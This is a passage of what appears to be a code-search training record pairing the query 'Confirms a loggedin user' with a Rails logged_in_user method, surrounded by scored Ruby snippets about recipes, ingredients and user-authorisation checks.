\n # get list of all ingredients\n obj_list = Ingredient.all.reorder(options[:reorder_clause])\n end\n \n return model_make_results(options, obj_list, nil) \n end", "def add_ingredients(ing_array)\n ing_array.each do |ing|\n RecipeIngredient.new(self, ing)\n end\n end", "def list_ingredients\n rid = params[:id]\n items = Aws.get_ingredients_from_db(rid)\n render :json => items\n end", "def recipes\n @recipes.sort.collect {|id| $data_recipes[id] }\n end", "def recipes\n recipe_cards.map {|recipe_card| recipe_card.recipe}\n end", "def getIngredientsNames\n \tingArray = []\n \tingredients.each do |ingredient|\n \t\tingArray.push(ingredient.name)\n \tend\n \treturn ingArray\n end", "def add_ingredients(ingredients_arr)\n ingredients_arr.each do |ingredient|\n RecipeIngredient.new(ingredient,self)\n end\n end", "def inline_ingredients\n ingredients.to_a.map(&:name).join(' ')\n end", "def get_recipe_ingredient_list(url, ingredients, a, need, got)\n page = HTTParty.get(url)\n parse_page = Nokogiri::HTML(page)\n scraped_ingredient = []\n parse_page.css(\".ingredient-description\").map do |a|\n ing = a.text\n scraped_ingredient.push(ing)\n end\n\n for i in scraped_ingredient\n j = 0\n while j < a\n if i.downcase.include?(ingredients[j].downcase) == false\n need.push(i)\n j += 1\n else\n got.push(i)\n j += 1\n end\n end\n end\nend", "def allergens\n self.ingredients.select{|ing|\n allergen_ingredients.include?(ing)}\n end", "def all\n return @recipearray\n end", "def safe_recipes\n #Look at each allergen. Look at each recipeingredient to determine if any ingredients match any allergens. return recipe if not\n allergens = self.user_allergens ##array of allergies (ingredients objects)\n ri_array = RecipeIngredient.all\n binding.pry\n allergens.each do |allergen|\n binding.pry\n ri_array.delete_if {|recipeingredient| recipeingredient.ingredient == allergen}\n end\n binding.pry\n ri_array.map {|recipeingredient| recipeingredient.recipe}\n\n\n end", "def index\n @recipe_ingredients_units = RecipeIngredientsUnit.all\n end", "def index\n recipe_items = current_user.recipes.includes(recipe_items: :ingredient).find(params[:recipe_id]).recipe_items\n render json: { recipe_items: recipe_items}.to_json(include: :ingredient), status: :ok\n end", "def for_ingredient_group(ingredient_group_id)\n ingredient_group = IngredientGroup.find_by_id(ingredient_group_id)\n if ingredient_group.present?\n recipe_ingredients = RecipeIngredient.where(:ingredient_id => ingredient_group.ingredient_ids )\n recipes = recipe_ingredients.collect {|ri| ri.recipe }\n return recipes.uniq\n end\n return [ self.approved, FAIL_SEARCH_MESSAGE ]\n end", "def find_ingredients\n self.content.scan(/E\\d{3,4}|E.\\d{3,4}/).map do |number|\n Ingredient.where([\"substring(number from '\\\\d+')::integer = ?\", number])\n end.flatten.map(&:id).uniq\n end", "def recipes\n self.recipe_cards.map {|recipecard| recipecard.recipe}\n end", "def add_ingredients(ing_array)\n ing_array.each {|ingredient| RecipeIngredient.new(self, ingredient)}\n end", "def get_recipe_titles(user_ingredients)\n \n search_params = 'http://www.recipepuppy.com/api/?i=' + user_ingredients.join(\",\")\n \n\n recipes = []\n search_string = RestClient.get(search_params)\n search_hash = JSON.parse(search_string)\n relevant_recipes = search_hash[\"results\"]\n relevant_recipes.collect do |recipe|\n recipes << recipe[\"title\"].strip\n end\n \n recipes\nend", "def recipes\n my_recipe_cards = RecipeCard.all.select do |recipe_card|\n recipe_card.user == self\n end\n my_recipe_cards.map do |recipe_card|\n recipe_card.recipe\n end\n end", "def allergens\n self.ingredients.map do |ingredient|\n Allergen.all.map do |allergen|\n ingredient if allergen.ingredient_O == ingredient\n end.compact\n end.flatten.uniq\n end", "def get_recipe_ingredients\n puts \"\\nWhat ingredients are in your recipe? Please enter ingredients separated by commas with no ands.\\n \".colorize(:green).bold\n user_ingredients = gets.strip\n if valid_user_input?(user_ingredients)\n user_ingredients.split(/\\s*\\,\\s*/)\n else\n puts \"\\nInvalid ingredients!\\n \".colorize(:red).bold\n get_recipe_ingredients\n end\n end", "def allergens\n self.ingredients.select do |ingre|\n Allergy.all.map {|allergy| allergy.ingredient}.uniq.include?(ingre)\n end\n end", "def get_ingredients \n # get rid of all characters that are not: a-z A-Z 0-9 - [] () . ' / , blank;\n clean_ingredients = self.ingredients.gsub(%r{[^a-zA-Z0-9\\-\\[\\]\\.\\,\\'\\(\\)\\/\\s]}, '')\n return clean_ingredients.split(', ').each { |ingredient| ingredient.strip! }\n end", "def recipes\n # @recipe.all.select {|recipe| recipe.all = self}\n recipecards.map {|recipecard| recipecard.recipe}\n end", "def recipes # /v1/user/:id/recipes (GET)\n recipes = ::Recipe.all\n render json: recipes, :each_serializer => RecipeSmallSerializer, root: false, status: 200\n end", "def add_ingredients(ingredients_array)\n # ingredients_array[0] = RecipeIngredient.new(name, ingredients_array[0], self)\n ingredients_array.each do |ingredient|\n RecipeIngredient.new(ingredient.name, ingredient, self)\n end\n end", "def ingredients_list\n ing_gen(\"Large onion\", \"1\") #1\n ing_gen(\"Garlic cloves\", \"4\")\n ing_gen(\"Fresh parsley\", \"1/4 cup\")\n ing_gen(\"Mozzarella\", \"1 lb\") #4\n ing_gen(\"Whole peeled tomatoes\", \"3 12-ounce cans\") #5\n ing_gen(\"Dried penne\", \"1 lb\")\n ing_gen(\"Salt\", \"to taste\")\n ing_gen(\"Extra virgin olive oil\", \"2 tablespoons\")\n ing_gen(\"Chicken stock\", \"1 cup\")\n ing_gen(\"Spicy italian sausage\", \"1 lb\")\n ing_gen(\"Dried oregano\", \"1 tablespoon\")\n ing_gen(\"Crushed red pepper\", \"1 teaspoon\")\n ing_gen(\"Unsalted butter\", \"2 tablespoon\")\n ing_gen(\"Heavy cream\", \"1 cup\")\n ing_gen(\"Ricotta\", \"12 ounces\")\n #ing_gen(\"Parmigiano-Reggiano\", \"3 ounces\")\n\n puts \"#{@ingredients.length}\"\n puts \"Ingredient:\\t\\t Amount\"\n\n i = 0\n while i < @ingredients.length\n j = i + 1\n puts \" > #{@ingredients[i]}\\t\\t #{@ingredients[j]}\"\n i += 2\n end\nend", "def recipe_ingredients(perfect_10_recipe)\n return perfect_10_recipe\nend", "def potential_allergen_ingredients\n allergens.map{ [_1, find_allergen_ingredients(_1)] }\n end", "def set_recipes\n @recipes = Recipe.includes(:ingredients).all #includes will cache the ingredients info and keep it there for later use, instead of querying again for this info later when it is needed\n @message = \"No Recipes Found\" if @recipes.empty?\n end", "def find_recipes_that_use_me_and_create_link\n my_recipes = Recipe.search_recipe_ingredient_lists_for_ingredient(self)\n my_recipes.each {|recipe| self.recipes << recipe}\n end", "def associate_ingredients_to_recipes\n Recipe.all.each do |recipe|\n 5.times do\n recipe.ingredients << Ingredient.all.sample\n end\n \n recipe.ingredients = recipe.ingredients.uniq\n \n while recipe.ingredients.count < 5\n recipe.ingredients << Ingredient.all.sample\n recipe.ingredients = recipe.ingredients.uniq\n end\n end\nend", "def recipe_ingredients(recipe_hash)\n recipe_hash.each do |ingredient,amount|\n \"#{amount} of #{ingredient}\"\n end\nend", "def present_ingredients_names\n get_ingredients_names.reduce(\"\") {|memo, name| memo + \", #{name}\"}.delete_prefix(\", \")\n end", "def ingredients\n rec_ing_arr = RecipeIngredient.all.select do |recipe_ingredient_ob|\n #binding.pry\n recipe_ingredient_ob.recipe == self\n end\n rec_ing_arr.map do |recipe_ob|\n recipe_ob.ingredient\n end\nend", "def shopping_list\n self.ingredients.map {|i| i.name}.uniq\n end", "def by_ingredients(query)\n # \"OR\" behavior by default\n apply_filter_list \"ingredients\", query\n\n self\n end" ]
[ "0.831865", "0.8068893", "0.7958368", "0.7869872", "0.778758", "0.77806467", "0.77555805", "0.77555805", "0.7738875", "0.77230746", "0.77155066", "0.7692386", "0.759416", "0.753531", "0.75210756", "0.7517456", "0.74817824", "0.745634", "0.74436855", "0.74042046", "0.73536646", "0.725873", "0.7229523", "0.72022766", "0.718775", "0.7186629", "0.71693534", "0.71629876", "0.7142137", "0.7141315", "0.71260625", "0.7081678", "0.70779395", "0.7069181", "0.7049461", "0.70220095", "0.70199645", "0.70006746", "0.7000582", "0.6983815", "0.69733715", "0.69695413", "0.6960469", "0.69519657", "0.6908756", "0.6876827", "0.6876827", "0.6876827", "0.6874854", "0.68670356", "0.6850256", "0.68234414", "0.67909956", "0.67905974", "0.6779405", "0.6767383", "0.67655975", "0.6762858", "0.6749265", "0.67196554", "0.67123127", "0.6663693", "0.6656897", "0.6637358", "0.6622277", "0.6599221", "0.65983826", "0.6590955", "0.65784425", "0.65567046", "0.6555964", "0.6554787", "0.6543645", "0.6540924", "0.6527809", "0.65228647", "0.65184295", "0.65170795", "0.65145373", "0.65138936", "0.6501261", "0.6492126", "0.64740545", "0.6461855", "0.6457886", "0.6439906", "0.64331174", "0.6426683", "0.6425115", "0.64127684", "0.64088154", "0.6408793", "0.63829356", "0.638254", "0.63772744", "0.6354167", "0.6353988", "0.63494474", "0.6337528", "0.6331161" ]
0.81206983
1
Confirms a loggedin user.
def logged_in_user unless logged_in? store_location flash[:danger] = "Please log in." redirect_to login_url end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def correct_user\n @user = User.find(params[:id])\n if !current_user?(@user)\n message = \"currently logged in as #{current_user.name}. Not you? \"\n message += \"#{view_context.link_to('Log out.', log_out)}\".html_safe\n flash[:warning] = message\n redirect_to(root_url)\n end\n end", "def confirm_logged_in\n \tunless session[:user_id]\n \t\tflash[:notice] = \"Please Log in.\"\n \t\tredirect_to(login_path)\n \tend\n end", "def correct_user\n\t\t\tauthenticate_user!\n\t\t\tunless @user == current_user || current_user.admin?\n\t\t\t\tredirect_to (root_path)\n\t\t\t\tflash[:alert]\n\t\t\tend\n\t\tend", "def confirm\n if @user = UserConfirmsAccount.new(:token => params[:token]).call\n self.establish_session @user\n redirect_to profile_url, :notice => \"Thanks for confirming #{@user.email}\"\n else\n redirect_to profile_url, :notice => \"There was a problem confirming - try re-sending the email?\"\n end\n end", "def confirm\n user = User.find(params[:id])\n authorize user\n if user.state != \"active\"\n user.confirm\n user.make_user_a_member\n\n # assume this type of user just activated someone from somewhere else in the app\n flash['notice'] = \"Activation of #{user.name_and_login} complete.\"\n redirect_to(session[:return_to] || root_path)\n end\n end", "def correct_user\n @user = User.find(params[:id])\n unless @user == current_user\n flash[:danger] = 'You are not authorized to do that.'\n redirect_to(root_url)\n end\n end", "def correct_user\n @user = User.find(params[:id])\n if @user != current_user\n flash[:alert] = \"Action not authorized\"\n redirect_to(root_url)\n end\n end", "def correct_user\n unless helpers.current_user?(@user)\n flash[:danger] = \"You don't have permission to do that\"\n redirect_to root_path\n end\n end", "def confirm_logged_in\n unless session[:user_id]\n redirect_to login_path, alert: \"Please log in\"\n end\n end", "def confirm_user_logged_in\n unless logged_in?\n store_url # So that user is sent to the same URL after they log in\n flash[:danger] = \"Please log in.\"\n redirect_to root_url\n end\n end", "def confirm_logged_in\n unless session[:user_id] != nil\n redirect_to root_path\n end\n end", "def correct_user\n @user = User.find(params[:user_id])\n redirect_to('/unauthorized') unless current_user?(@user)\n end", "def confirm\n if current_visitor && current_visitor.has_role?('admin', 'manager')\n user = User.find(params[:id]) unless params[:id].blank?\n if !params[:id].blank? && user && user.state != \"active\"\n user.confirm!\n user.make_user_a_member\n # assume this type of user just activated someone from somewhere else in the app\n flash[:notice] = \"Activation of #{user.name_and_login} complete.\"\n redirect_to(session[:return_to] || root_path)\n end\n else\n flash[:notice] = \"Please login as an administrator.\"\n redirect_to(root_path)\n end\n end", "def correct_user\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n\t\t\t@user = User.find(params[:id])\n\t\t\tredirect_to(root_url) unless @user == current_user\n\t\tend", "def correct_user\n @user = User.find(params[:id])\n if current_user != @user\n flash[:danger] = \"You don't have permission for that\"\n redirect_to(root_url) unless current_user?(@user)\n end\n end", "def appctrl_confirm_user\n redirect_to( signin_path() ) unless @current_user\n end", "def correct_user\n @user = User.find(params[:id])\n if !current_user?(@user)\n flash[:danger] = \"Sorry, you're aren't allowed to access that.\"\n redirect_to(\"/#flash\") \n end\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to root_path, alert: \"You do not have access to that page\" unless current_user == @user\n end", "def correct_user\n\t\t@user = User.find(params[:id])\n\t\tredirect_to root_path unless @user == current_user\n\tend", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n flash[:danger] = \"Admin Access Only.\"\n end", "def correct_user\n\t\t\t@user = User.find(params[:id])\n\t\t\tif current_user != @user\n\t\t\t\tredirect_back(fallback_location: root_path)\n\t\t\tend\n\t\tend", "def user_stray\n if !logged_in? || @user == nil\n flash[:alert] = \"You have been logged out of your session. Please log back in to continue.\"\n redirect \"/\"\n elsif @user.id != current_user.id\n flash[:alert] = \"You do not have permission to view or edit other users' content.\"\n redirect \"/\"\n end\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n user = User.find(params[:id])\n unless current_user?(user) \n flash[:danger] = \"Uncorrect user.\"\n redirect_to(root_url) \n end\n end", "def switch\n authorize!(:manage, :all)\n user = User.find_by(login: params[:login].upcase)\n if user\n session[:original_user_id] = session[:user_id]\n session[:user_id] = user.id\n redirect_to root_url, notice: \"Sie sind nun der Nutzer mit dem Login #{user.login}.\"\n else\n redirect_to root_url, notice: \"Der Nutzer existiert nicht im System.\"\n end\n end", "def correct_user\n set_user\n unless current_user?(@user)\n flash[:danger] = 'This action is not permitted for this account since you are not the owner'\n redirect_to overview_user_path(current_user)\n end\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def confirm_user\n if session[:user_id]\n return true\n else\n flash[:notice] = \"please login\"\n redirect_to(:controller => 'manage', :action => 'login')\n return false\n end\n end", "def correct_user\n @user = User.find(params[:id])\n unless current_user?(@user)\n flash[:danger] = \"Yikes. Sorry, but it doesn't look you have permission to do that 😬\"\n redirect_back(fallback_location: root_url)\n end\n end", "def correct_user\n\t @user = User.find(params[:id])\n\t unless current_user?(@user)\n\t flash[:danger] = \"You don't have rights\"\n\t\t\tredirect_back_or(root_url)\n\t end\n\tend", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user === current_user\n end", "def correct_user\n\t\t\t@user = User.find(params[:id])\n\t\t\tredirect_to(root_path) unless current_user?(@user)\n\t\tend", "def confirm_logged_in\n unless session[:username]\n redirect_to authenticate_login_path\n else\n true\n end\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to root_path unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n unless current_user?(@user)\n flash[:danger] = \n \"You do not have permission to access #{@user.name}'s account.\"\n redirect_to(root_url)\n end\n end", "def correct_user\n @course = Course.find(params[:id])\n @user = @course.users\n unless current_user == @user\n redirect_to(root_url) \n flash[:danger] = \"You are not the authorised user\"\n end\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user # sauf si\n end", "def correct_user\n\t\t@user = User.find(params[:id])\n\t\tredirect_to(root_path) unless current_user?(@user)\n\tend", "def correct_user\n\t\tunless current_user == @univers.user\n\t\t\tflash[:danger] = \"You have no power there\"\n\t\t\tredirect_to universes_path\n end\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user) #checks if current_user == @user\n #current_user? defined in session helper\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n \n redirect_to(login_path) unless current_user?(@user)\n end", "def confirm_logged_in\n unless session[:user_id]\n flash[:notice] = \"Please log in.\"\n redirect_to root_path\n return false # halts the before_action\n else\n return true\n end\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(user_root_path,:notice => 'You cannot access this page') unless current_user == @user\n end", "def correct_user\n\t\t@user = User.find(params[:id])\n\t\tredirect_to(root_url) unless current_user?(@user)\n\tend", "def correct_user\n\t\t@user = User.find(params[:id])\n\t\tredirect_to(root_url) unless current_user?(@user)\n\tend", "def correct_user\n\t\t@user = User.find(params[:id])\n\t\tredirect_to(root_url) unless current_user?(@user)\n\tend", "def logged_in_user\n unless !current_user.nil?\n flash[:danger] = \"Please log in.\"\n redirect_to root_path\n end\n end", "def correct_user\n @user = User.find(params[:id])\n\n if @user != current_user\n redirect_to(root_path)\n else\n # nothing to do\n end\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @question = Question.find(params[:id])\n redirect_to(root_url) unless current_user == @question.user\n end", "def confirm_matching\n @user = User.find(params[:id])\n redirect_to root_path unless current_user? @user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless (current_user.id == @user.id)\n end", "def correct_user\n @user = User.find(params[:id])\n # current_user?() is a sessions_helper method. The user of the params hash has\n # to match the current user or will be redirected to root\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n\t\t@user = User.find(params[ :id])\n\t\tredirect_to(root_url) unless current_user?(@user)\n\tend", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to root_path\n end\n end", "def confirm_logged_in\r\n unless session[:username]\r\n redirect_to authenticate_index_path\r\n else\r\n true\r\n end\r\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user) # current_user is method in sessions_helper.rb\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end" ]
[ "0.70087826", "0.6982988", "0.6919373", "0.688131", "0.6845446", "0.68326277", "0.67944413", "0.67929715", "0.6642435", "0.6624581", "0.66114175", "0.66022736", "0.6589018", "0.65539706", "0.65349805", "0.65303934", "0.6512816", "0.650312", "0.64878744", "0.6487622", "0.6480418", "0.6479267", "0.64705276", "0.64680994", "0.64656436", "0.6457351", "0.64541256", "0.64485556", "0.64485556", "0.64485556", "0.64485556", "0.64485556", "0.64485556", "0.64485556", "0.64485556", "0.64485556", "0.6445996", "0.6437721", "0.64289176", "0.64260334", "0.6424799", "0.6417934", "0.64177954", "0.64163303", "0.6410097", "0.6401843", "0.63820904", "0.63622755", "0.63595843", "0.6355515", "0.635374", "0.6351282", "0.6350864", "0.63502026", "0.63502026", "0.63502026", "0.6347271", "0.63426447", "0.6342538", "0.6342538", "0.6342538", "0.6342538", "0.6342538", "0.6342538", "0.6342538", "0.6342538", "0.63400817", "0.63345385", "0.63329995", "0.6331134", "0.6330873", "0.632984", "0.6325074", "0.63200074", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605", "0.63152605" ]
0.0
-1
Confirms the correct user.
def correct_user @user = User.find(params[:id]) redirect_to(root_url) unless @user == current_user end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def correct_user\n msg = \"You do not have permission to update another user's information\"\n require_correct_user(@user, msg)\n end", "def correct_user\n\t\t\tauthenticate_user!\n\t\t\tunless @user == current_user || current_user.admin?\n\t\t\t\tredirect_to (root_path)\n\t\t\t\tflash[:alert]\n\t\t\tend\n\t\tend", "def correct_user\n unless helpers.current_user?(@user)\n flash[:danger] = \"You don't have permission to do that\"\n redirect_to root_path\n end\n end", "def correct_user\n set_user\n unless current_user?(@user)\n flash[:danger] = 'This action is not permitted for this account since you are not the owner'\n redirect_to overview_user_path(current_user)\n end\n end", "def correct_user\n @user = User.find(params[:id])\n unless @user == current_user\n flash[:danger] = 'You are not authorized to do that.'\n redirect_to(root_url)\n end\n end", "def correct_user\n user = User.find(params[:id])\n unless current_user?(user) \n flash[:danger] = \"Uncorrect user.\"\n redirect_to(root_url) \n end\n end", "def correct_user\n\t\tunless current_user == @univers.user\n\t\t\tflash[:danger] = \"You have no power there\"\n\t\t\tredirect_to universes_path\n end\n end", "def confirm\n if @user = UserConfirmsAccount.new(:token => params[:token]).call\n self.establish_session @user\n redirect_to profile_url, :notice => \"Thanks for confirming #{@user.email}\"\n else\n redirect_to profile_url, :notice => \"There was a problem confirming - try re-sending the email?\"\n end\n end", "def correct_user\n @user = User.find(params[:id])\n if current_user != @user\n flash[:danger] = \"You don't have permission for that\"\n redirect_to(root_url) unless current_user?(@user)\n end\n end", "def correct_user\n @question = Question.find(params[:id])\n redirect_to(root_url) unless current_user == @question.user\n end", "def correct_user\n @user = User.find(params[:id])\n if @user != current_user\n flash[:alert] = \"Action not authorized\"\n redirect_to(root_url)\n end\n end", "def correct_user\n @user = User.find(params[:user_id])\n redirect_to('/unauthorized') unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user_help?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n if !current_user?(@user)\n message = \"currently logged in as #{current_user.name}. Not you? \"\n message += \"#{view_context.link_to('Log out.', log_out)}\".html_safe\n flash[:warning] = message\n redirect_to(root_url)\n end\n end", "def correct_user\n if !is_correct_user\n redirect_to incorrect_user_path_for\n end\n end", "def correct_user\n @user = User.find(params[:id])\n unless current_user?(@user)\n flash[:danger] = \n \"You do not have permission to access #{@user.name}'s account.\"\n redirect_to(root_url)\n end\n end", "def correct_user\n @user = User.find(params[:id])\n unless current_user?(@user)\n flash[:danger] = \"Please don't mess with others' profiles!\"\n # redirect_to root_url\n redirect_to @user\n end\n end", "def correct_user\n @user = User.find(params[:id])\n unless current_user?(@user)\n flash[:danger] = \"Yikes. Sorry, but it doesn't look you have permission to do that 😬\"\n redirect_back(fallback_location: root_url)\n end\n end", "def correct_user\n\t @user = User.find(params[:id])\n\t unless current_user?(@user)\n\t flash[:danger] = \"You don't have rights\"\n\t\t\tredirect_back_or(root_url)\n\t end\n\tend", "def correct_user\n unless @user == current_user\n redirect_to user_notes_path(current_user)\n end\n end", "def correct_user\n redirect_to(root_url) unless @user == current_user\n end", "def confirm_with_user\n confirmed = Helper::Util.confirm \"Is this OK? \", true\n return if confirmed\n\n loop do\n Helper::Util.clear\n\n print_identification\n\n say \"<%= color('The following options may be adjusted before continuing.', BOLD) %>\"\n choice = choose do |menu|\n self.class.available_options.reject(&:skip_confirmation).each do |option|\n value = send option.confirm_symbol\n menu.choice \"#{option.label}: #{option.display_value(value)}\"\n end\n\n menu.choice \"Accept and continue\"\n menu.choice \"Quit\"\n menu.readline = true\n menu.prompt = \"What would you like to do?\"\n end\n\n Helper::Util.clear\n\n print_identification\n\n if (option = self.class.available_options.find { |o| choice =~ /^#{Regexp.quote(o.label)}/ })\n loop do\n break if prompt_for_option(option)\n say \"Invalid value for option.\\n\\n\"\n end\n elsif choice =~ /^Accept/\n log\n return\n else\n exit(0)\n end\n end\n end", "def correct_user\n @user = User.find(params[:id])\n if !current_user?(@user)\n flash[:danger] = \"Sorry, you're aren't allowed to access that.\"\n redirect_to(\"/#flash\") \n end\n end", "def correct_user(user)\n user == current_user\n end", "def correct_user\n\t\t\t@user = User.find(params[:id])\n\t\t\tif current_user != @user\n\t\t\t\tredirect_back(fallback_location: root_path)\n\t\t\tend\n\t\tend", "def correct_user\n @user = HoacUser.find(params[:id])\n redirect_to(edit_hoac_user_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to root_path, alert: \"You do not have access to that page\" unless current_user == @user\n end", "def correct_user\n\t\t\t@user = User.find(params[:id])\n\t\t\tredirect_to(root_url) unless @user == current_user\n\t\tend", "def correct_user\n\t\t@user = User.find(params[:id])\n\t\tredirect_to root_path unless @user == current_user\n\tend", "def correct_user\n\t\t\t@user = User.find(params[:id])\n\t\t\tredirect_to(root_path) unless current_user?(@user)\n\t\tend", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user === current_user\n end", "def correct_user\n user_id = params[:user_id] || params[:id] || session[:user_id]\n @user = User.find_by(id: user_id)\n unless @user.nil?\n unless current_user?(@user) || current_user.administrator?\n flash[:danger] = \"Only the account owner or an adminstrator to do that.\"\n redirect_to(root_path)\n end\n else\n nonexistent_user_error\n end\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n flash[:danger] = \"Admin Access Only.\"\n end", "def correct_user\n\t\t@user = User.find(params[:id])\n\t\tredirect_to(root_path) unless current_user?(@user)\n\tend", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless @user == current_user # sauf si\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to root_path unless @user == current_user\n end", "def correct_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless current_user?(@user)\n end", "def correct_user\n @user = User.find(params[:user_id])\n unless current_user?(@user)\n flash[:danger] = \"You don't have permission for that action.\"\n redirect_to(root_url)\n end\n end", "def correct_user\n @course = Course.find(params[:id])\n @user = @course.users\n unless current_user == @user\n redirect_to(root_url) \n flash[:danger] = \"You are not the authorised user\"\n end\n end", "def correct_user\n @user = User.find(params[:id])\n logger.debug \"***correct_user - Detected User - #{@user.name}\"\n redirect_to(root_url) unless current_user?(@user) || admin_user\n end", "def correct_user\n\t\t@user = User.find(params[:id])\n\t\tredirect_to(root_url) unless current_user?(@user)\n\tend", "def correct_user\n\t\t@user = User.find(params[:id])\n\t\tredirect_to(root_url) 